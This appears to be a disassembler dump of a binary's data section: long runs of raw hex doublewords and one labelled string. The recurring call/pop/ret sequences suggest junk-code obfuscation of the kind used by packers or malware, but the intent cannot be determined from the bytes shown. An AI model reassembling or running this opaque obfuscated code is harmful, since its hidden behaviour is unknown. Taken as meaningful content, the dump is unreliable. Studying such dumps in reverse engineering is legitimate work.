		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 16C35747h, 0CADB8166h
		dd 18B0F5Dh, 0F5000000h, 0B8h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 658D8D7Eh
		dd 6A061250h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 6487C356h, 6AE1FF49h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 7E3BC356h, 5D2C2853h, 1C8D9D89h, 0BD830612h,	6122E5Dh
		dd 54840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0D7A3C352h,	834CCFFAh
		dd 122E5DBDh, 840F0106h, 442h, 7D6410BFh, 5DBD835Fh, 306122Eh
		dd 3FA860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 1AC7EDC3h, 0AC5D1605h, 0BD31EF93h
		dd 6120C09h, 56006A60h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0B3E0713Dh, 0D98C668Fh, 0C119D89h
		dd 0E1800612h, 1BD8904h, 0A061232h, 92840FC9h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 4AD4C357h, 4AB20722h, 0BBA1CD50h,	698C5810h
		dd 0C8B0Fh, 870F0000h, 6, 9C59D8Bh, 0BD290612h,	6122E61h
		dd 1A89858Bh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0C0C0D4C3h, 143D8533h, 6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 2D76F8C3h, 740744B9h, 98D0Fh, 880F0000h, 3, 9093C780h
		dd 10E8h, 6C5E9E00h, 4ADC0323h,	0A675415Ah, 0FFD74EB5h
		dd 5E951h, 0ABFB0000h, 5F562DD5h, 927CBF50h, 81907CF6h
		dd 0A522EED3h, 89006A7Eh, 1213B595h, 4E806h, 3FF0000h
		dd 820F001Fh, 0
		dd 0BF525050h, 128EB139h, 8B66310Fh, 8B585ADAh,	66042444h
		dd 8BFA8Bh, 0CA8EBB53h,	895B28C0h, 60042444h, 2830Fh, 99B40000h
		dd 6A5861h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 3451D5C3h, 1E157C11h, 5D95FFA2h, 0F061232h
		dd 482h, 4ABF6600h, 7F8589A8h, 0E90615BDh, 14h,	0B5DB1D2Eh
		dd 0D4BCF261h, 81360C10h, 329DCC22h, 4B55B80Ah,	2D299D8Bh
		dd 0B8E90612h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 3BC6C350h, 0A3FEAD1Bh
		dd 8FF5E9CBh, 77858BFCh, 660615BDh, 0C7AE9CBBh,	1800h
		dd 0E59D8B00h, 8B061214h, 15BD7BB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 8D8983D5h
		dd 6120ADDh, 2D49858Bh,	95090612h, 612002Dh, 0F0689F5h
		dd 0C89h, 6800F00h, 0B000000h, 121B819Dh, 0E8D0F06h, 0E9000000h
		dd 9, 57648579h, 0AEFBC577h, 89858B20h,	8B06121Ah, 12026D9Dh
		dd 4468906h, 50FE8B66h,	3489F98Bh, 0CC4EBF24h, 0B5FF0CB6h
		dd 615BD77h, 1ADF8166h,	5E9FAh,	0C4A20000h, 68B2E4A0h
		dd 0C345304h, 52505250h, 5E8h, 27FE4900h, 0F5B50D3h, 12E931h
		dd 0A53E0000h, 634F75B0h, 57ED02CDh, 4C432C46h,	2C44D062h
		dd 310F585Ah, 0BAF98B60h, 34C74BE7h, 81585A61h,	50FB2434h
		dd 6A0C2Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 3D9C25C3h, 0BF66543Dh, 0BD8B63DDh, 6123089h
		dd 0BD7F858Dh, 6A0615h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0E0623CC3h, 89284ABAh, 122101BDh
		dd 9E85006h, 4B000000h,	3B36367Bh, 0B80495ABh, 880Fh, 895F0000h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 2FDB7FC3h, 912617A5h, 0D3807188h,	0F38166DEh
		dd 0FFFC753Fh, 12325D95h, 19BD8B06h, 6106122Bh,	6820Fh
		dd 95310000h, 6121AA9h,	2E5D85C7h, 30612h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0ACCEFBC3h, 4C2B42DAh, 0FE9EAh, 0A8C60000h, 0CF4256DBh
		dd 8A3E68A4h, 876DFD6Bh, 259529B5h, 8306122Eh, 15BD7FBDh
		dd 840F0006h, 10h, 63E38166h, 21E925h, 95890000h, 61209ADh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 5855C355h, 0CD2A3DA3h, 10E9h, 0A90E9400h
		dd 0CF541359h, 0FF7C7386h, 0F78CB5ACh, 0D8CF8131h, 8B75AD68h
		dd 1231C59Dh, 5DBD8306h, 306122Eh, 43D850Fh, 9D890000h
		dd 6121471h, 0BD7FBD83h, 0F000615h, 42A84h, 0FFDE8B00h
		dd 15BD7FB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 3A34E422h, 51D8589h, 95FF0612h, 61213B1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CFC35141h
		dd 3405B095h, 11E9A5h, 0E4970000h, 0DE31CB4Bh, 0C6C7D9D3h
		dd 2A816E43h, 8BC77799h, 15BD73B5h, 959D8906h, 0C7061212h
		dd 1000106h, 0AE95600h,	0A2000000h, 0C3C64727h,	7846EB5Fh
		dd 0BF505F06h, 1A440A64h, 0E9243489h, 8, 627D505Ah, 0F87003D7h
		dd 0BD7FB5FFh, 6A0615h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 8707ADC3h, 10DD95FFh, 6A0612h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8960B0C3h, 120BF995h, 0DE906h, 0D9AF0000h, 4ACE31DBh
		dd 6755DCE4h, 61A5E3D9h, 0BD73B58Bh, 13E80615h,	0AA000000h
		dd 0E41DA19Fh, 2A50059h, 4C60ED55h, 6A149909h, 13E99C15h
		dd 9B000000h, 6716CFE4h, 0F8F7DDC0h, 0B34FC513h, 0D4F9F24Ch
		dd 295FCE3Fh, 1231618Dh, 11858B06h, 6A061223h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 6AC3C353h, 2376B6CAh, 0BD8B780Dh, 6122C05h, 0C48689h
		dd 89600000h, 120CAD9Dh, 0C3BF0F06h, 91958B61h,	6A061227h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0EB21C355h, 0BD8B9D10h, 6122FF5h,	8338D380h
		dd 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0A0E23FC3h, 0D7180A92h, 9D23A819h, 6123319h
		dd 0B70F70B3h, 205089FBh, 6D9D8950h, 5F06122Eh,	858DDE8Bh
		dd 615D32Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	12C35747h, 8689CF71h, 0B8h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0C5C35747h,	272BDBCBh, 0FE860B6h
		dd 63000000h, 0E5E399FEh, 0E774666Bh, 746AAD0Fh, 5850238Bh
		dd 19820F5Eh, 0E9000000h, 14h, 9B3D5A9Eh, 0F948318Dh, 0A14FA3A2h
		dd 63C3EA2Dh, 0C22879A1h, 66006A61h, 0FF985ABBh, 15BD7FB5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 59532F6h, 0F2366F07h, 95FF62ABh,	6121621h
		dd 5AB802BFh, 8B665036h, 243489DFh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0E3C35646h,	6616E14Fh, 0FF22ACBBh
		dd 15BD7FB5h, 14BF6606h, 3D95FF46h, 0BF061203h,	2EC6E2A6h
		dd 24CDBD83h, 0F000612h, 6784h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0CAF31EF4h
		dd 0BBF98BA5h, 786A57C9h, 24348950h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0AFC35242h,	8D77AFA6h, 10E855h
		dd 38610000h, 74E65D80h, 8589DE67h, 472AEFF4h, 8166F0D3h
		dd 5B0612EFh, 0BD7FB5FFh, 0F7810615h, 10092BF5h, 80DF8166h
		dd 0E995FF2Dh, 6A06122Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 5346C355h, 0B60933B0h
		dd 815BB02Bh, 65BED3F3h, 7FB5FF1Ah, 890615BDh, 121411BDh
		dd 5830F06h, 0BB000000h, 1856EEB2h, 52995FFh, 9D310612h
		dd 6120E81h, 1445BD83h,	0F020612h, 3884h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 25FBEA75h, 8B66A5F9h, 25858BF9h, 8A06122Ah, 9D8589F8h
		dd 0C6061207h, 8B660000h, 3185C7DFh, 61230h, 0E9000000h
		dd 13h,	0C749FB9Eh, 3C168276h, 39832FA9h, 0D1648F11h, 0E92B4047h
		dd 0FFFFF306h, 9D8969BFh, 53C18B28h, 0EE9h, 1F750000h
		dd 0D3B57DB5h, 0E1C0BB7Eh, 5F71B0E1h, 169858Dh,	880F0612h
		dd 6, 20E99589h, 66500612h, 895FC7BFh, 6A2404h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 8F1AF1C3h, 0FB8506D7h, 0FBB096Eh, 0C8Bh, 68E0F00h, 89000000h
		dd 121B1DBDh, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 2BB2C353h, 0A2EB8B9Ch
		dd 8BDE2D2Dh, 122A1D9Dh, 0CD0FBF06h, 6A2535h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B5C35646h, 9CC8E03h
		dd 43E5A19h, 3CC3816Bh,	0F502CFCh, 389h, 0D98B6600h, 0BCC4858Dh
		dd 0BE80616h, 24000000h, 0F66F47F6h, 2F40ABA8h,	0D780ED30h
		dd 0C0835BF1h, 4895005h, 6AF98A24h, 6AFE8A00h, 0D18D8900h
		dd 0FF061224h, 1204AD95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 43F45940h
		dd 0F94E3F54h, 299D8960h, 0F061232h, 281h, 61DF8B00h, 9D1A8D8Dh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0B10F3BC3h, 0C1412E8Bh, 9D8B4623h, 6123041h
		dd 68B0Fh, 0C7810000h, 703C5EBEh, 8A0FD1FFh, 0Ch, 7E9h
		dd 77CB5100h, 9182D3D9h, 1FE9BD83h, 0F010612h, 8885h, 6850F00h
		dd 29000000h, 12322595h, 6A026A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 50FDC351h
		dd 196DC746h, 908B0E46h, 0F505F51h, 289h, 90DD8A00h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0E2C35747h, 162195FFh
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 1E65FFC3h, 0FB751472h, 5BB66FEh, 0EC7E977h
		dd 0E80000h, 5D000000h,	0BCCEED81h, 0FB8B0616h,	0AE8h
		dd 2E821E00h, 357E459Ah, 8008F344h, 6A5B87DFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 58C7C353h, 9C601D85h, 58AE83AEh, 8DD98B66h, 1595CA85h
		dd 9D896006h, 6121705h,	59F8E981h, 906154E4h, 11E8h, 6178B700h
		dd 4371DE9Fh, 0B1BB1543h, 0D50D2E9Fh, 0A9BF229Fh, 5F37A215h
		dd 0D88B6650h, 56006A90h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0B682D6AAh, 0A1BBC83Eh
		dd 8A5F9045h, 35FF64F8h, 0
		dd 498D8957h, 5F06121Bh, 896427B7h, 25h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0C465ED18h, 0D2AB825Dh, 0E195897Ah, 0FF06120Ah, 12136D85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0C9784F04h, 0B5A2A307h, 0A5BD29A2h, 6A061207h
		dd 0E99D2BFFh, 0FF061230h, 1232D1B5h, 0F3816606h, 95FFABB0h
		dd 61235C9h, 12BE9h, 19BD8900h,	0B006121Dh, 0D1D38100h
		dd 0E6334041h, 11E970h,	0B5BE0000h, 588B3BD6h, 44374F89h
		dd 17197CF5h, 8A485F2Ah, 0F71E4FEh, 682h, 0F18D8900h, 0E9061219h
		dd 10h,	0D3A02996h, 0C262563Bh,	0BED7B731h, 321B8A4Eh
		dd 830F613Ch, 0D8h, 0F9DBB70Fh,	66C8B60Fh, 0BA199FBBh
		dd 6, 0BAE9EB81h, 0C18B66EDh, 26F98589h, 0E8C10612h, 91BD8904h
		dd 66061204h, 0DD8AE2F7h, 8509C82Bh, 6122A1Dh, 9D33D18Bh
		dd 61220D9h, 97E9h, 0ADB58900h,	8B061230h, 885h, 0D8B70F00h
		dd 14E9h, 0BDC23600h, 907BF05h,	0DBC794F2h, 0F80F0C17h
		dd 77456D7Bh, 7C08323h,	0D4BBF53h, 835B6816h, 0CBB300C0h
		dd 830FD03Bh, 1Eh, 8E9h, 0A8E9900h, 0DBE7900Ch,	46E9F7h
		dd 8D0F0000h, 6, 1005BD2Bh, 8D8B0612h, 0FFFFFFFFh, 2199D89h
		dd 0E1830612h, 25840F01h, 29000000h, 122B198Dh,	0FFA58306h
		dd 0FEFFFFFFh, 897DEB80h, 895h,	5E900h,	0FD1D0000h, 0E9EA313Fh
		dd 0
		dd 3F13B58Dh, 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0C4838CC3h, 0E91BA6E3h, 7, 0D5BC4BBh
		dd 81A53140h, 80F2F2CFh, 6A006A79h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 6FEC353h
		dd 7C3611CEh, 8BF71ED0h, 12152DBDh, 7595FF06h, 33061224h
		dd 1210D5BDh, 0FBFB906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 41D346C3h, 0B8E717ACh
		dd 46BB6F08h, 83104F10h, 0C381FCE1h, 6D417144h,	55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0BE9B7h, 7E640000h, 2B1AD546h, 2CB8CBC4h, 0B84Dh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 468678C3h, 0D3A2C92Dh, 815793B7h, 211221CBh,	0D22B5F0Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 94C35343h
		dd 0F4104C39h, 8D260B08h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 9FC35646h
		dd 20299D09h, 0BF660612h, 6AE000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0B925BBC3h, 57F0E90Ch
		dd 2EA1BD8Bh, 0F5F0612h, 188h, 880DF900h, 66000000h, 0E717CB81h
		dd 2791958Bh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 50BF78C3h, 0E8AB2DE8h, 0Eh, 3527C051h
		dd 0FA94E743h, 60BFC8EEh, 0EE8E06Eh, 0B6000000h, 0B5C75E1Bh
		dd 74571BB5h, 2B4A4F66h, 75858914h, 5F061220h, 398D8B5Bh
		dd 6A061234h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8BF7C355h, 0C28B50FBh,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0EDB0C353h
		dd 9589DCCDh, 6123161h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0ABC35747h, 1D31A8ECh, 42DBD83h, 0F000612h
		dd 6584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0E9AD956Ah, 0Ah, 18A68EBDh, 0B1AAF083h
		dd 0B8EED8h, 1000000h, 121CF1B5h, 658D8D06h, 89061250h
		dd 1210FD8Dh, 14E906h, 9A760000h, 0AC476DBDh, 0DBFF811Dh
		dd 4B6F92AFh, 0E210CA74h, 0E1FFD4BBh, 870Fh, 0BD830000h
		dd 6122E5Dh, 19840F00h,	0F9000004h, 2E5DBD83h, 0F010612h
		dd 42684h, 0E6806000h, 0E595016Eh, 6106121Ah, 2E5DBD83h
		dd 0F030612h, 3D886h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0B3603212h, 66F98BA1h
		dd 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8BF0F0C3h, 122CC5BDh, 4E18006h, 9E9h, 2CF9000h
		dd 1298BDE7h, 0EF814923h, 3CDAE2EEh, 840FC90Ah,	10Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 41C35747h, 9720188h
		dd 1230359Dh, 89858B06h, 0B706121Ah, 0BE9C4h, 0BB850000h
		dd 66F9C441h, 79BA397Ah, 3D853393h, 6A061214h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0AA3DC357h, 9D8BD89Ch, 6121A2Dh, 0AEB8166h, 880F909Eh
		dd 5, 1DDB2FBBh, 0CDBF5025h, 9079BAFFh,	13890Fh, 0EE90000h
		dd 0C7000000h, 0DDCE1A36h, 68453465h, 0E22F82F9h, 0F006AF0h
		dd 84h,	31FF6800h, 14E87385h, 82000000h, 60BCBED5h, 0A78ECC45h
		dd 386E4890h, 0FF3D9687h, 66FDCBA7h, 815BDE8Bh,	32002434h
		dd 0DA8B739Ah, 325D95FFh, 0B5090612h, 6122F71h,	0BD7F8589h
		dd 0ECB30615h, 24D19D31h, 0EDE90612h, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0BA82C353h, 0FFBF0F74h, 0BD77858Bh, 6A0615h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0D3E278C3h, 1289C5FDh, 6E9h,	0D3BAFB00h, 0C731B1F5h
		dd 1800h, 55BB5600h, 5B5DF6B1h,	0BD7BB58Bh, 6A0615h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8E0F4AC3h, 6, 7BDDC781h, 0DE97C9Fh, 64000000h, 0C5580728h
		dd 71B2ACE6h, 0F366F06Fh, 2D49858Bh, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D2E9FC3h
		dd 8A229FD5h, 81BD8B47h, 8906120Eh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0D1BF9544h
		dd 8B1143E1h, 89858BFBh, 6A06121Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 89B0C356h
		dd 0BD09C257h, 61215D9h, 89044689h, 1220AD85h, 52505006h
		dd 6E8310Fh, 0F2000000h, 541D511Ch, 62BF6661h, 585A5F4Ch
		dd 0F243489h, 682h, 99B53100h, 0FF06120Ch, 15BD77B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 66F18BF2h, 689EB6BBh, 0E717087h, 5119EFBBh, 2434817Fh
		dd 0E6E7378h, 0F381D88Bh, 23FA9EFDh, 0BD7F858Dh, 6A0615h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B726CC3h, 1201659Dh, 0C6B39006h, 50575050h,	5A310F52h
		dd 905B5B58h, 0EE9h, 793D4000h,	0BEC9319Ch, 22EF5C48h
		dd 0FFFF6CFAh, 12325D95h, 6E906h, 9B240000h, 0CEE6B70Ah
		dd 5D85C761h, 306122Eh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 6CC355h
		dd 14E9D23Eh, 1B000000h, 0F6FACCD1h, 0C8FA464Dh, 0AB94660Bh
		dd 78596C3Ch, 298F9DA3h, 1226119Dh, 7FBD8306h, 615BDh
		dd 43840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8166BBC3h, 0E94C46C3h, 38h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 9C35141h, 0C30500Ah
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	13E9h
		dd 0D38F5600h, 0ADEF0D78h, 0DC014Ah, 0AF682BCEh, 0F8BE79h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E7C35242h
		dd 1528929Eh, 8360C652h, 122E5DBDh, 850F0306h, 48Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BDC35646h, 15173B7h
		dd 120A8985h, 0BD0B5F06h, 612000Dh, 0BD7FBD83h,	0F000615h
		dd 45284h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0D3E49FC7h, 57077DFFh, 7FB5FF80h
		dd 6A0615BDh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B7DC356h
		dd 121111BDh, 0EC9ABB06h, 95FF0959h, 61213B1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0CEC35747h, 6158F394h
		dd 8A38FBFFh, 959D8945h, 8B06121Bh, 15BD73B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 6C78F77h, 10001h, 8B3ED380h,	1235C59Dh, 8E95006h, 0A5000000h
		dd 0EC3D4573h, 89C402DAh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 60F7AC3h, 87EB6E8Dh
		dd 0BD7FB5FFh, 6A0615h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 5EA833C3h, 1EDEBF76h, 5E860FCh
		dd 4F000000h, 0DD746484h, 0DA8B665Bh, 10DD95FFh, 0BD890612h
		dd 6123139h, 0BD73B58Bh, 6A0615h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 87DE3DC3h, 0F7A5DACh
		dd 68Dh, 918D2900h, 8B06120Ah, 12231185h, 8D316006h, 612224Dh
		dd 0FE8h, 14B1AE00h, 567C7C82h,	0DD41726Dh, 0B481500Eh
		dd 850Fh
		db 2 dup(0)
aAij		db '[a䠀',0            ; DATA XREF: ___:off_438C78o
		dd 0EB810000h, 17ED5C73h, 2791958Bh, 9D8B0612h,	61202FDh
		dd 6A04C283h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0B07AC356h, 0F9C0F70h,	4DAF5C08h
		dd 0F8FA8B66h, 6A205089h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 89E2C352h, 122E6595h
		dd 68F0F06h, 8B000000h,	1200B5BDh, 68D0F06h, 0B000000h
		dd 1219659Dh, 2B858D06h, 0E90615D3h, 0Fh, 51C5152Dh, 11E7F684h
		dd 0FB6A5A2Dh, 33392BA5h, 1200159Dh, 0B8868906h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 82DEC355h, 56BB26Eh, 8B006A1Dh, 7FB5FFD9h
		dd 6A0615BDh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0FF2CC356h, 12162195h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0C145FF2Bh, 8E953h, 35E00000h, 83FE8D16h, 505BB9FEh
		dd 34895F51h, 75958924h, 0FF061211h, 15BD7FB5h,	0DEB70F06h
		dd 33D95FFh, 0BD290612h, 6121C81h, 24CDBD83h, 0F000612h
		dd 6584h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0CFBB5B6Ah, 0E7BF6607h, 505796FDh
		dd 0FFE8A52h, 9E931h, 40260000h, 0B2545810h, 5A161C69h
		dd 0BF505F58h, 107F7BD3h, 52006A96h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0D4C335A7h
		dd 0B5FFE389h, 615BD7Fh, 0E6E2BF66h, 2AE995FFh,	6A0612h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0A91FF9C3h, 0D1C6C5F8h, 293DE431h, 122BB1BDh, 7FB5FF06h
		dd 890615BDh, 1203258Dh, 2995FF06h, 6A061205h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 6856C355h, 0BBD1F010h, 1445BD83h, 0F020612h,	6D84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0CB8025EAh, 25858B27h, 0E806122Ah, 14h
		dd 0B086FAFCh, 0ACB9852Ch, 0D3CB5DAFh, 0DAB56AB4h, 74B97DD1h
		dd 13CD8D31h, 0C65F0612h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 80197FC3h, 33C1DB81h
		dd 85C720F8h, 6123031h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4FC35747h
		dd 19D8B77h, 0E9061232h, 0FFFFF2A7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 85C35343h, 5F48674Eh, 0B9068386h
		dd 55B529EFh, 6606122Fh, 8B6BEBBBh, 55006AC1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 89489668h
		dd 12067595h, 69858D06h, 8B061201h, 120501BDh, 5BF9006h
		dd 504FBCF5h, 0E59D8B90h, 6A061211h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0A2B65E68h
		dd 0D80880Ah, 519D2387h, 6A061225h, 66DF8B00h, 4E87F381h
		dd 0CD20858Dh, 6A0616h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0F94FEBC3h, 6E8h, 9BBE9A00h, 0E816E334h
		dd 0Fh,	9BE9D90Dh, 75B32699h, 8D595BC0h, 3312A8F7h, 122D919Dh
		dd 895F5B06h, 1207D5B5h, 5C08306h, 327ABF66h, 0CEB6BB90h
		dd 8B503A98h, 858990DEh, 612037Dh, 0BE9h, 6BC0E500h, 0CA423373h
		dd 746C491Eh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0AF56FEC3h, 23AA8A27h, 0B70F006Ah
		dd 0D8BF0FDBh, 4AD95FFh, 6A0612h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 935B82C3h, 1A8D8D6Ch
		dd 0F906159Dh, 0BF0FD1FFh, 0E9BD83FEh, 106121Fh, 5F850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0FCC3CC3h, 687h, 3DBD8900h, 6A06120Ah, 199D2B02h
		dd 50061230h, 489FB8Bh,	6BBF6624h, 2195FF3Dh, 6A061216h
